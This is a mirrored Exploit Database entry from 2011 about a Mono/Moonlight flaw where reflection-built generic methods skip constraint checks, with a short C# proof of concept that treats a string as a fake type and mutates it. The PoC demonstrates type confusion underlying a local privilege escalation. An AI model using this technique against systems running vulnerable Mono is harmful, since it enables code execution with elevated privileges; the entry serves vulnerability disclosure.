Mono/Moonlight Generic Type Argument – Privilege Escalation

• Exploit Database
• 85 阅读

• 作者： Chris Howie
  日期： 2011-01-11
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/15974/

• Sources:https://www.chrishowie.com/2010/11/24/mutable-strings-in-mono/
  https://www.securityfocus.com/bid/45051/info
  
  Mono and Moonlight is prone to a local privilege-escalation vulnerability.
  
  Local attackers can exploit this issue to execute arbitrary code with elevated privileges. Successful exploits will compromise the affected application and possibly the underlying computer. 
  
  PoC:
  
  using System;
  using System.Reflection;
  
  public class FakeString {
  public int length;
  public char start_char;
  }
  
  public class TestCase {
  private static FakeString UnsafeConversion<T>(T thing)
  where T : FakeString
  {
  return thing;
  }
  
  public static void Main() {
  var a = "foo";
  var b = MakeMutable(a);
  
  Console.WriteLine(a);
  b.start_char = 'b';
  Console.WriteLine(a);
  }
  
  private static FakeString MakeMutable(string s)
  {
  var m = typeof(TestCase).GetMethod("UnsafeConversion", BindingFlags.NonPublic | BindingFlags.Static);
  var m2 = m.MakeGenericMethod(typeof(string));
  
  var d = (Func<string, FakeString>)Delegate.CreateDelegate(typeof(Func<string, FakeString>), null, m2);
  
  return d(s);
  }
  }
  

  Bash

  Copy